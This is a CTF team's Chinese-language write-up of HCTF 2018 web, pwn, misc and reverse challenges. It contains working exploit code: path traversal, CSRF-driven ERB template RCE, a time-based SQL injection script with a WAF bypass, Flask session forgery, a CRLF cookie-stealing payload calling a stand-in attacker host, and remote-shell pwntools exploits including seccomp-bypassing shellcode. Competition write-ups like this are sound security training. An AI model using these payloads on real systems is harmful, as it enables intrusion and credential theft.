Team: De1ta
首先感谢杭电的师傅们为我们带来了一场精彩的CTF比赛,出题和运维的大佬们都辛苦了!
顺便打个小广告:De1ta长期招 逆向/pwn/密码学/硬件/取证/杂项/etc. 选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
[TOC]
参考:https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/
在source.php可以看到源码
要使emmm::checkFile($_REQUEST['file'])返回true,利用?截取hint.php,利用/使hint.php?成为一个不存在的目录,最后include利用../../跳转目录读取flag。
payload: hint.php?/../../../../../../../../../../../ffffllllaaaagggg
payload还可以:index.php?file=source.php?/../../../../../../../../../../../ffffllllaaaagggg一个道理
hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}
打开题目,主页翻译一下可以得到这些信息
是个让用户分享应用的网站,并且管理员可以把应用推给某个用户
/Alphatest可以看到一个filenumber 和自己的uid
/share 可以分享东西给管理员,猜测存在xss,context框传了个段xss代码,发现能接收到admin的请求,bot是PhantomJS/2.1.1,说明能执行js,但是开了httponly打不到cookie,猜测是要CSRF,url框传的东西好像没啥用
根据主页提示可能有源码泄漏,在robots.txt 看到了三个接口的代码
/* this terrible code */
class FileController < ApplicationController
before_action :authenticate_user!
before_action :authenticate_role
before_action :authenticate_admin
protect_from_forgery :except => [:upload , :share_people_test]
# post /file/upload
def upload
if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
file = params[:file][:myfile]
name = Base64.decode64(file.original_filename)
ext = name.split('.')[-1]
if ext == name || ext ==nil
ext=""
end
share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
share.write(Base64.decode64(file.read))
share.close
File.rename(share.path,share.path+"."+ext)
tmp = Sharefile.new
tmp.public = 0
tmp.path = share.path
tmp.name = name
tmp.tempname= share.path.split('/')[-1]+"."+ext
tmp.context = params[:file][:context]
tmp.save
end
redirect_to root_path
end
# post /file/Alpha_test
def Alpha_test
if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
fid = params[:fid].to_i
uid = params[:uid].to_i
if(fid > 0 && uid > 0)
if(Sharelist.find_by(sharefile_id: fid)==nil)
if(Sharelist.count("user_id = ?", uid.to_s) <5)
share = Sharelist.new
share.sharefile_id = fid
share.user_id = uid
share.save
end
end
end
end
redirect_to(root_path)
end
def share_file_to_all
file = Sharefile.find(params[:fid])
File.rename(file.path,Rails.root+"/public/download/"+file.name)
file.public = true
file.path = Rails.root+"/public/download/"+file.name
file.save
end
end
分析一下这段代码,
before_action :authenticate_user!
before_action :authenticate_role
before_action :authenticate_admin
首先三个接口都是管理员才能调用
第一个接口/file/upload 能够上传文件
第二个接口/file/Alpha_test 能够分配一个文件给一个用户
第三个是把文件公开,但是没有提供外部调用路由
后面 hint1给了文件结构
views
|-- devise
| |-- confirmations
| |-- mailer
| |-- passwords
| |-- registrations
| | `-- new.html.erb
| |-- sessions
| | `-- new.html.erb
| |-- shared
| `-- unlocks
|-- file
|-- home
| |-- Alphatest.erb
| |-- addtest.erb
| |-- home.erb
| |-- index.html.erb
| |-- publiclist.erb
| |-- share.erb
| `-- upload.erb
|-- layouts
| |-- application.html.erb
| |-- mailer.html.erb
| `-- mailer.text.erb
`-- recommend
`-- show.erb
hint2给了一个主页的代码
<%= render template: "home/"+params[:page] %>
参考
http://blog.neargle.com/SecNewsBak/drops/Ruby%20on%20Rails%20%E5%8A%A8%E6%80%81%E6%B8%B2%E6%9F%93%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20%28CVE.html
尝试跨目录包含文件失败,应该是只能包含home目录下的文件
hint3给了ruby版本2.5.0
通过查找ruby版本号,结合robots代码,主页代码和目录结构,可以确定要利用的是这个CVE:
CVE-2018-6914: Unintentional file and directory creation with directory traversal in tempfile and tmpdir
大概意思就是在Tempfile 创建文件时如果传入(../)就能创建任意目录或文件
想到可以传个文件到home下,结合主页的文件包含,即可RCE
整个思路就很清晰了:
于是开始了艰难的构造payload
最后上传的payload如下:
<script type="text/javascript" charset="utf-8" src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script>
function upload(i) {
var test=$('meta').eq(1).attr("content");
var url="/file/upload";
var data="-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"file[myfile]\"; filename=\"Li4vLi4vYXBwL3ZpZXdzL2hvbWUvZGUxdGF4aXNoaXIuZXJic3MuZXJi\"\x0d\x0a\
Content-Type: application/text\x0d\x0a\
\x0d\x0a\
PCU9IGBjYXQgL2ZsYWdgICU+\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"file[context]\"\x0d\x0a\
\x0d\x0a\
de1ta\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"authenticity_token\"\x0d\x0a\
\x0d\x0a\
"+test+"\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"commit\"\x0d\x0a\
\x0d\x0a\
submit\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"utf8\"\x0d\x0a\
\x0d\x0a\
✓\x0d\x0a\
-----------------------------13025814701038468772945051835--";
$.ajax({
url: url,
type:"POST",
headers: {
"Content-Type": "multipart/form-data; boundary=---------------------------13025814701038468772945051835",
"Upgrade-Insecure-Requests":"1"
},
data:data,
contentType:false,
success:function(res){
},
error:function(err){
}
})
}
for(var i=1;i<2;i++)
{
upload(i);
}
</script>
文件内容为
<%= `cat /flag` %>
文件名为
../../app/views/home/de1taxishir.erbss.erb
推送文件到我的uid下的代码为:
<script type="text/javascript" charset="utf-8" src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script>
function go(fffid){
var test=$('meta').eq(1).attr("content");
console.log(test);
var params = {utf8:"\xE2\x9C\x93",authenticity_token:test,uid:2,fid:fffid,commit:"submit"};
var url = '/file/Alpha_test';
$.ajax({
url : url,
type : "POST",
data : params,
success : function(result) {
},
error:function(result){
}
})
}
for(var i=1;i<20;i+=1){
go(i);
}
</script>
这里因为不知道文件id是多少,只能根据前面的filenumber来爆破一下,所以写了个for循环
最后上传上去并获取文件名后,在主页进行文件包含执行命令,读取flag
ps:这道题有个搅shi bug,利用推文件给用户接口,无限暴力推fid到自己的uid下,就能看到别人上传的文件,并且别人就不知道他的文件名是啥了
还有就是js构造一个文件上传太坑了,一开始用new File,一直失败,后面发现是PhantomJS不支持这个h5的类好像,于是硬生生写了个multipart/form-data 出来
flag:hctf{8f4c57063ddb7b106e03e25f7d1bb813}
打开发现是一个QQ钓鱼站,主页会跳转到空间
http://kzone.2018.hctf.io/www.zip 可以下载到源码
install.sql 文件中有admin密码,admn。
INSERT INTO fish_admin
(id
, username
, password
, name
, qq
, per
) VALUES
(1, 'admin', '21232f297a57a5a743894a0e4a801fc3', '小杰', '1503816935', 1);
不过登陆不上去,密码被改了
审计源码翻到了member.php,发现这边没有addslashes,并且无需登录也可访问
可以看到这段代码从cookie获取了登陆信息,如果符合几个if,就能登陆
想到通过注入 ,union select 替换掉admin_user和admin_pass
尝试构造弱类型绕过:
Cookie: PHPSESSID=s33h9c1u8bq5t0r8s4dura0c76; islogin=1; login_data={"admin_user":"admin'||'1","admin_pass":65}
(一开始没构造出来,然后就转思路去bypass waf了
参考这篇文章
http://blog.sina.com.cn/s/blog_1574497330102wruv.html
虽然他没绕过关键词检测,但是顺着他的思路尝试构造了
\u0075nion,本地测试发现json_decode后变为union,成功bypass waf
构造一个sleep的cookie,放到服务端测试也sleep了,证明此处注入可行
Cookie:PHPSESSID=t0k91etf5fecbi4t25d7hprtm3;islogin=1;login_data={"admin_user":"admin111'/**/\u0075nion/**/select/**/1,2,3,4,5,6/**/from/**/fish_admin/**/where/**/\u0073leep(3)\u003d'1","admin_pass":"3b30a11aaba222edd6e704e9959b94643ed4ffd9"}
后面就把所有关键词用这种方法绕过,就能直接注入了,最后flag在 F1444g表的F1a9字段
附上注入脚本
#!/usr/bin/python
#!coding:utf-8#
# xishir
import requests
import time
import datetime
#hctf{4526a8cbd741b3f790f95ad32c2514b9}
ss = "{}_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-+"
r = requests.session()
url = "http://kzone.2018.hctf.io/admin/"
#url="http://127.0.0.1/hctf/www/admin/"
union = '\u00'+str(hex(ord('u')))[2:]+'nion'
sleep = '\u00'+str(hex(ord('s')))[2:]+'leep'
ascii = '\u00'+str(hex(ord('a')))[2:]+'scii'
ok = '\u00'+str(hex(ord('=')))[2:]
substr = '\u00'+str(hex(ord('s')))[2:]+'ubstr'
over = '\u00'+str(hex(ord('#')))[2:]
blank = "/**/"
orr = '\u00'+str(hex(ord('o')))[2:]+'r'
flag=""
for i in range(1,50):
print i
for j in ss:
payload = "admin' and (substr((select binary F1a9 from F1444g limit 1),"+str(i)+",1)='"+str(j)+"') and sleep(4) and 1='1"
payload = payload.replace('sleep',sleep)
payload = payload.replace('union',union)
payload = payload.replace('=',ok)
payload = payload.replace('#',over)
payload = payload.replace(' ',blank)
payload = payload.replace('ascii',ascii)
payload = payload.replace('substr',substr)
payload = payload.replace('or',orr)
jsons = '{"admin_user":"'+payload+'","admin_pass":"3b30a11aaba222edd6e704e9959b94643ed4ffd9"}'
cookie={"PHPSESSID":"t0k91etf5fecbi4t25d7hprtm3",
"islogin":"1",
"login_data":jsons}
t1=time.time()
r1 = r.get("http://kzone.2018.hctf.io",cookies=cookie)
t2=time.time()
#print t2
if (t2-t1)>4:
#print "aaaaaaaa"
flag+=str(j)
print i,flag
break
找到源码 https://github.com/woadsl1234/hctf_flask/
有个进程每30秒重置一次数据库
看到strlower函数很奇怪
参考:http://blog.lnyas.xyz/?p=1411
最后解题步骤如下
注册一个ᴬdmin账号
登陆ᴬdmin,发现页面显示Admin
修改密码,退出登录
重新登陆Admin,看到flag
传个zip,会解压缩并且读取
尝试传个链接文件ln -s /etc/passwd test 并压缩上传
读到/etc/passwd
然后就是各种文件读取
在 /proc/self/environ读取到一个好东西
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=323a960bcc1aSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
然后直接读/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini文件得到
[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
按部就班读取项目文件 /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
得到
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
因为有这段
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
如果文件里有hctf就返回主页
所以不能直接读flag.py,也没有flag.pyc
后面读index.html发现admin用户登录就能看到flag
{% if user == 'admin' %}
Your flag: <br>
{{ flag }}
想到要读secret,伪造admin的session,发现代码里的secret是伪随机的
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
随机数种子固定为mac地址,读取 /sys/class/net/eth0/address 可以得到
然后带入seed,本地跑一下,登陆admin拿到cookie,再放到网站上就能看到flag了
赛后解出:
http://game.2018.hctf.io/web2/user.php?order=password
这样可以按照密码进行排序
不断注册新用户,密码逐位逐位与admin的密码比较,最后得到admin的密码,比如注册个密码为d的用户
然后按密码排序,发现它在admin下面
然后注册一个密码为e的用户,发现他在admin上面
由此可以推算出admin密码第一位是d,按照此原理,逐位得到完整的admin密码为dsa8&&!@#$%^&d1ngy1as3dja,登录访问flag.php即可getflag。
直接参考p总链接即可:
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
首先发现CLRF
刚开始的时候,CSP是在响应包的上面的,需要想办法绕过CSP。
第二天CSP被设置到响应包下面了。
接下来就简单了,只需要绕过302跳转就可以打到cookie。因为302的时候不会xss。利用<80端口可以绕过302跳转。可以在浏览器手动试一下。
80端口的时候可以发现跳转到了题目的首页
小于80端口的时候可以发现返回了我们构造的响应包下面的内容,这个时候手动访问可以看到打到了cookie。
所以拿着下面这个payload就可以打到cookie了。
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://yourvps/cookie.js%3E%3C/script%3E
改cookie登陆
用volatility看了一下,发现有mspaint进程,把内存dump下来
把mspaint.exe dump下来的内存改名为.data后缀,用gimp打开,调整位移 宽度 高度
flag:hctf{big_brother_is_watching_you}
FFT different frequency sin
MATLAB: y = importdata(""); 加载样本点
Y = fft(y);
plot(abs(Y));
根据图片查看频率值,对称的四个正弦函数的频率,最高点对应的横坐标减1就是频率
交互8次,即可得到flag
解压后发现一个pcap包,Wireshark打开发现是USB流量包,简单浏览后发现每帧都有8字节,且仅第一字节和第三字节有数据,猜测是键盘的流量,于是本地自己抓键盘的包试了下:
第一个字节
0x01 ctrl
0x02 shift
第三个字节是按键的键值就不列出了,后面找了下相关资料验证了这个猜想,于是tshark先把每帧的Leftover Capture Data提取出来,然后写个脚本把键值转成字符串,得到一个混杂字母和符号的字符串,根据题目所给“difficult programming language”猜测可能是malbolge语言,找个解释器把解出的字符串丢进去跑一下就得到flag。
代码:
usb_data = open('usbdata.txt')
str_decode = ''
for i in range(422):
buffer = usb_data.readline()
cmd = int(buffer[6] + buffer[7], 16)
if cmd != 0:
if buffer[1] == '0':
if 4 <= cmd <= 29:
str_decode += chr(ord('a') + cmd - 4)
elif 30 <= cmd <= 38:
str_decode += chr(ord('1') + cmd - 30)
elif cmd == 39:
str_decode += '0'
elif cmd == 45:
str_decode += '-'
elif cmd == 46:
str_decode += '='
elif cmd == 47:
str_decode += '['
elif cmd == 48:
str_decode += ']'
elif cmd == 49:
str_decode += '\\'
elif cmd == 51:
str_decode += ';'
elif cmd == 52:
str_decode += "'"
elif cmd == 53:
str_decode += '`'
elif cmd == 54:
str_decode += ','
elif cmd == 55:
str_decode += '.'
elif cmd == 56:
str_decode += '/'
else:
print('!!!')
elif buffer[1] == '2':
if 4 <= cmd <= 29:
str_decode += chr(ord('A') + cmd - 4)
# elif 30 <= cmd <= 38:
# str_decode += '!!!'
elif cmd == 30:
str_decode += '!'
elif cmd == 31:
str_decode += '@'
elif cmd == 32:
str_decode += '#'
elif cmd == 33:
str_decode += '$'
elif cmd == 34:
str_decode += '%'
elif cmd == 35:
str_decode += '^'
elif cmd == 36:
str_decode += '&'
elif cmd == 37:
str_decode += '*'
elif cmd == 38:
str_decode += '('
elif cmd == 39:
str_decode += ')'
elif cmd == 45:
str_decode += '_'
elif cmd == 46:
str_decode += '+'
elif cmd == 47:
str_decode += '{'
elif cmd == 48:
str_decode += '}'
elif cmd == 49:
str_decode += '|'
elif cmd == 51:
str_decode += ':'
elif cmd == 52:
str_decode += '"'
elif cmd == 53:
str_decode += '~'
elif cmd == 54:
str_decode += '<'
elif cmd == 55:
str_decode += '>'
elif cmd == 56:
str_decode += '?'
else:
print('!!!')
else:
print('!!!')
print(buffer)
print(str_decode)
flag:hctf{m4lb0lGe}
有点像0ctf2017-left:
exit会调用dl_fini,里面有一个call,可以去修改ld.so 附近的一个地方,直接填one_gadget get shell
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc-2.23.so')
if debug:
p=process('./the_end')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('150.109.44.250', 20002)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
if not debug:
ru('Input your token:')
se('uvm73jg2AFMECo71DIZRZh39MRqFOI2w\n')
ru('here is a gift ')
base=int(ru(',')[:-1],16)-e.symbols['sleep']
call=base+0x5F0F48
one_gadget=p64(base+0xf02a4)
for i in range(5):
se(p64(call+i))
se(one_gadget[i])
print(hex(base))
p.sendline('cat flag>&0')
p.interactive()
flag:hctf{706a09271a59b9e2db1a2d0cf1e40e2073c0a886197f6f3cf3b5d2114fc600d7}
clone 了一个子线程,mount 了tmpfs到/tmp那里,再chdir到mount的这个tmp那里,然后sleep 1000000秒之后 结束
设子线程pid=cpid
主线程chdir到 /proc/cpid/cwd/ ,然后在里面创建文件夹和假flag
ls没有限制 / 和 .. 所以可以看所有目录的情况
根据hint提示,要用libc-2.23_9 ,我虚拟机的是libc-2.23_10,然后去找了下change log
发现realpath有一个overflow
所以大概关键就在canonicalize_file_name这个函数这里
就是CVE–2018-1000001
(之前就想拿这个CVE来出题........可惜怕被当成kernel题就没敢出
(没复现CVE,现在要去看一遍源码.......
一开始输入名字的时候输入(unreachable),然后在里面创建一个tmp文件,这样就可以绕过realpath 里面的一个检查
利用的话是改chunk size,unsafe unlink,再拿到任意读写,get shell(话说好久没碰到要用unsafe unlink的题,都生疏了..........
payload 如下
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc-2.23_9.so')
if debug:
#p=process('./easyexp')
p=process('./easyexp',env={'LD_PRELOAD':'./libc-2.23_9.so'})
gdb.attach(p)
else:
p=remote('150.109.46.159', 20004)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def mkfile(name,content):
sl('mkfile '+name)
ru('write something:')
sl(content)
ru('$')
def cat(name):
sl('cat '+name)
return ru('$')
if not debug:
ru('Input your token:')
sl('uvm73jg2AFMECo71DIZRZh39MRqFOI2w')
ru("input your home's name: ")
se('(unreachable)\n')
ru('$')
mkfile('(unreachable)/tmp','a'*0x16+'/')
mkfile('2','a'*0x27)
mkfile('3','a'*0x37)
mkfile('3',p64(0x21)*4)
sl('mkdir ../../../../a\x41')
cat('(unreachable)/tmp')
mkfile('4','a'*0x37)
mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18+1)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x41))
mkfile('5','1'*0x27)
cat('4')
mkfile('6','a'*0x37)
mkfile('6',p64(0x21)*6)
mkfile('7','a'*0x37)
mkfile('7',p64(0x21)*6)
cat('6')
mkfile('77','a'*0x27)
mkfile('77',p64(0x21)*4)
mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x90))
mkfile('8','/bin/sh')
mkfile('4','a'*0x18+p64(0x603180)+p32(0x200)[:2])
mkfile('4',p64(0x603018)+p32(0x200)[:2])
data=cat('77')
base=u64(data[1:7]+'\x00\x00')-e.symbols['free']
system = base+e.symbols['system']
mkfile('77',p64(system)[:6])
cat('4')
sl('mkfile 99')
print(hex(base))
p.interactive()
flag:hctf{53e3b00dc29b152d1740f042ae4efce199785f7acaa062c21d600e67f811d276}
首先利用任意读把libc地址泄漏出来,
然后任意写,写__malloc_hook
再输入%n,报错,报错的时候会调用malloc,get shell
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc64.so')
if debug:
#p=process('./babyprintf_ver2')
p=process('./babyprintf_ver2',env={'LD_PRELOAD':'./libc64.so'})
gdb.attach(p)
else:
p=remote('150.109.44.250', 20005)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
if not debug:
ru('Input your token:')
se('uvm73jg2AFMECo71DIZRZh39MRqFOI2w\n')
ru('So I change the buffer location to ')
buffer=int(ru('\n'),16)
pbase=buffer-0x202010
ru('Have fun!')
file = p64(0xfbad2887) + p64(pbase+0x201FB0)
file+= p64(buffer+0xf0) +p64(buffer+0xf0)
file+= p64(buffer+0xf0) +p64(buffer+0xf8)
file+= p64(buffer+0xf0) +p64(pbase+0x201FB0)
file+= p64(pbase+0x201FB0+8) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(1) +p64(0xffffffffffffffff)
file+= p64(0) +p64(buffer+0x200)
file+= p64(0xffffffffffffffff) +p64(0)
file+= p64(buffer+0x210) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0x00000000ffffffff)+p64(0)
file+= p64(0) +p64(0)
se(p64(0xdeadbeef)*2+p64(buffer+0x18)+file+'\n')
ru('permitted!\n')
libc=u64(ru('\x00\x00'))
base=libc-0x3E82A0
malloc_hook=base+e.symbols['__malloc_hook']
sleep(0.2)
file = p64(0xfbad2887) + p64(malloc_hook)
file+= p64(malloc_hook) +p64(malloc_hook)
file+= p64(malloc_hook) +p64(malloc_hook)
file+= p64(malloc_hook+8) +p64(pbase+0x201FB0)
file+= p64(pbase+0x201FB0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(1) +p64(0xffffffffffffffff)
file+= p64(0) +p64(buffer+0x220)
file+= p64(0xffffffffffffffff) +p64(0)
file+= p64(buffer+0x230) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0x00000000ffffffff)+p64(0)
file+= p64(0) +p64(0)
se(p64(base+0x4f322)*2+p64(buffer+0x18)+file+'\n')
sleep(0.5)
se('%n\n')
print(hex(pbase))
print(hex(libc))
p.interactive()
写shellcode,有seccomp
seccomp 限制了只能执行exit和exit_group 这两个syscall
还限制了只能字母和数字,这个限制可以用alpha3突破(华师非灰也师傅帮忙修好了,能在linux下面跑
程序没开pie,因此能在程序那里拿到libc的地址,然后找libc base
base找到了之后,倒着去搜libflag.so里面bss段的_DYNAMIC
在里面可以找到DT_STRTAB和DT_SYMTAB,然后搜flag_yes_1337,根据偏移再找到
Elf64_Sym 结构体,最后找到flag_yes_1337函数的地址,call一下拿到flag,然后再盲注出来
from pwn import *
import os
import pwnlib.shellcraft.amd64 as sc
import time
context.arch='amd64'
payload=asm(sc.mov('rdi',0x602030))+\
asm("mov rdi,[rdi]") +\
asm(sc.mov('rdx',0x6f690)) +\
asm('sub rdi,rdx')+ \
asm(sc.mov('rbx','rdi')) +\
asm(sc.push(0x6FFFFEF5))+\
asm('''
search:
push 4
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz done
sub rbx,1
jnz search
done:
''')+\
asm('add rdi,0x14')+\
asm('mov r10,[rdi]')+\
asm('add rdi,0x10')+\
asm('mov r11,[rdi]')+\
asm('sub rdi,0x40')+\
asm('mov rcx,[rdi]')+\
asm('sub rbx,rcx')+\
asm(sc.mov('rcx',0x80))+\
asm('sub rbx,rcx')+\
asm('mov r12,rbx')+\
asm(sc.pushstr('flag_yes_'))+\
asm('mov rbx,r10')+\
asm('''
search:
push 8
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz done
add rbx,1
jnz search
done:
''')+\
asm('sub rdi,0x8')+\
asm('sub rdi,r10')+\
asm('push rdi')+\
asm('mov rbx,r11')+\
asm('''
search:
push 3
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz done
add rbx,1
jnz search
done:
''')+\
asm('add rdi,5')+\
asm('mov rdi,[rdi]')+\
asm('add rdi,r12')+\
asm('call rdi')
def generate(idx,c):
tmp=payload+\
asm('''
add al,%d
xor rbx,rbx
xor rcx,rcx
mov bl,[rax]
add cl,%d
cmp rbx,rcx
jz done
xor rax,rax
add al,60
syscall
done:
'''%(idx,c))+asm(sc.infloop())
print(idx,c)
f=open('alapayload','wb')
f.write(tmp)
f.close()
def brute(idx,c):
debug=0
#context.log_level='debug'
context.arch='amd64'
if debug:
p=process('./christmas')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
#gdb.attach(p)
else:
p=remote('150.109.46.159', 20003)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
if not debug:
ru('Input your token:')
se('uvm73jg2AFMECo71DIZRZh39MRqFOI2w\n')
payload='42'
generate(idx,c)
a=os.popen('python ./alpha3/ALPHA3.py x64 ascii mixedcase RAX --input="alapayload"')
payload+=a.read()
a.close()
se(payload)
ru('can you tell me how to find it??')
start=time.time()
p.can_recv_raw(timeout=3)
p.close()
end=time.time()
if end-start>2:
return True
return False
str='{}_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+!@#$%^&*()'
#brute(4,ord('{'))
flag='{dyn_15_4w'
for q in range(14,100):
for i in range(len(str)):
if brute(q,ord(str[i])):
raw_input(str[i])
flag+=str[i]
print(flag)
break
flag:HCTF{dyn_15_4w350m3}
找main函数,发现是smc过的,找找其他地方
0040155D和004015CA 调用了了一个反调试函数,把参数0x11改成0
00403148有一段进程名的字符串,全改成0
0040251b调用了另一个反调试函数,把下方的00402521的jz改成jmp
全部改完打个补丁,程序就能正常运行了。
在调用main函数的地方00401C20设下断点,开始调试,断下的时候main函数就解析好了
先播放了一段音频,中间还有sleep,大概一分钟,不相等可以直接把那一段的cmp jz改成cmp jmp
004015E0是加密函数
加密算法如下:
先把输入进行base64加密 a2位base64加密完的
它的base64大小写是反的
v14=0
v19 = strlen(a2);
if ( v19 > 0 )
{
do
{
v16 = 6;
do
{
v17 = rand() % 4;
v18 = v16;
v16 -= 2;
result = (_BYTE)v17 << v18;
a2[v14] ^= result;
}
while ( v16 > -2 );
++v14;
}
while ( v14 < v19 );
}
可以看到,他对每一个字符异或了四个随机数(先对随机数进行了一些操作),在异或的地方设下条件记录断点,记录下异或的数据,然后反向解密就行了。
解密:
secret=[0x49,0xE6,0x57,0xBD,0x3A,0x47,0x11,0x4C,0x95,0xBC,0xEE,0x32,0x72,0xA0,0xF0,0xDE,0xAC,0xF2,0x83,0x56,0x83,0x49,0x6E,0xA9,0xA6,0xC5,0x67,0x3C,0xCA,0xC8,0xCC,0x05]
xor=[0,0,8,0,128,0,0,1,0,48,8,1,128,0,12,1,64,0,0,0,0,0,8,1,64,0,0,2,0,16,4,0,192,16,0,0,192,48,0,2,128,16,8,0,64,32,4,2,0,48,0,3,192,16,4,2,192,0,8,1,128,48,0,2,192,0,0,1,128,16,4,1,128,48,4,2,0,16,12,2,192,0,4,3,0,32,12,1,0,16,12,0,192,32,12,3,192,16,0,2,128,48,0,2,64,16,12,3,64,32,4,2,128,0,12,0,128,48,8,1,192,48,0,1,0,48,8,0,0,16,4,0,0,0,8,0,128,0,12,3,192,0,12,2,192,32,8,1,64,48,12,3,0,0,12,1,0,0,4,1]
a=''
for i in range(len(secret)):
a+=chr(secret[i]^xor[4*i]^xor[4*i+1]^xor[4*i+2]^xor[4*i+3])
print(a)
解密后:
Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq==
它的base64加密大小写是反的,手动换一下= =
aGN0ZnsxenVtaV9LMG5hdDRfTW8zfQ==
hctf{1zumi_K0nat4_Mo3
又是驱动逆向
sub_140001000中kbdclass应该跟键盘有关,但不知道怎么输入的
sub_1400012F0应该是解密函数了
中间有一段代码:
if ( *v6 == 0x11 ) // up
{
if ( v5 & 0xFFFFFFF0 )
{
v5 -= 0x10;
goto LABEL_13;
}
v5 += 0xD0;
dword_1400030E4 = v5;
}
